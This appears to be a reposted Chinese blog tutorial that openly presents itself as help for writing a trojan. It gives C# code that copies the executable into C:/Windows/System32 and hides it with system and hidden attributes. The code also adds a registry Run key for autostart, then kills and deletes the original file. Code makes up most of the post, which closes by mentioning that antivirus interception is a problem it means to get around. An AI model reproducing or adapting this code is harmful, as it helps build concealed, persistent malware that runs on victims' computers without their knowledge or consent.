您的位置:首页 > 其它

实现程序复制到系统盘,自启动,自删除,隐藏为系统文件

2010-12-24 19:40 393 查看
文:RQC

我们在开发木马程序的时候一般都希望别人一运行就把自己复制到C:/Windows/System32 目录下并且将其文件属性改为系统文件而且为隐藏好让别人不太好发觉,然后开机还要实现自启动,在C#中我们该怎么做呢,代码如下:

using System.IO;

using Microsoft.Win32;
using System.Diagnostics; //引入这几个命名空间

string filename = Application.ExecutablePath; //得到自身的路径和文件名

string New_filename = @"C:/Windows/System32/" + Process.GetCurrentProcess().ProcessName + ".exe"; //目标文件路径和文件名

//判断 C:/Windows/System32 这个目录下是否存在本程序 防止多次复制

if (!File.Exists(New_filename))

{

File.Copy(filename,New_filename); //将其复制进去

//将程序路径写入注册表,随Windows启动
RegistryKey runkey = Registry.LocalMachine;
RegistryKey run = runkey.CreateSubKey(@"SOFTWARE/Microsoft/Windows/CurrentVersion/Run");

run.SetValue("爷是木马", New_filename);

//将复制进去的程序文件属性修改为系统文件并隐藏
File.SetAttributes(New_filename, FileAttributes.System | FileAttributes.Hidden);
runkey.Close();

Process.Start(New_filename,Process.GetCurrentProcess().Id.ToString() + " " + "/"" + filename + "/""); //启动复制进去的程序,并将自身的进程ID和自身的路径传递给复制进去的程序让其结束本进程并删除本程序文件

return;

}

然后在 Program.cs 文件里的Main函数里加上以下代码

static class Program
{
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main(string[] args) //注意,在这里给Main方法加上这个形式参数可以让程序运行时可以接收传递的参数
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
if (args.Length > 0) //判断程序运行时有没有传递参数
{
System.Diagnostics.Process.GetProcessById(int.Parse(args[0])).Kill(); //结束原程序进程
Application.DoEvents(); //等待以上代码全部执行完毕,这句很重要,不然很可能在以上程序工作还未完成时执行了下面一句代码而导致删除不了
System.IO.File.Delete(args[1]); //删除原程序文件
}
Application.Run(new Form1());
}
}



以上代码已经实现了这个功能,由于实现开机自启动是修改注册表实现的,所以360对程序的修改注册表有适时拦截,等找到更好开机自启动的方法了再写出来
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: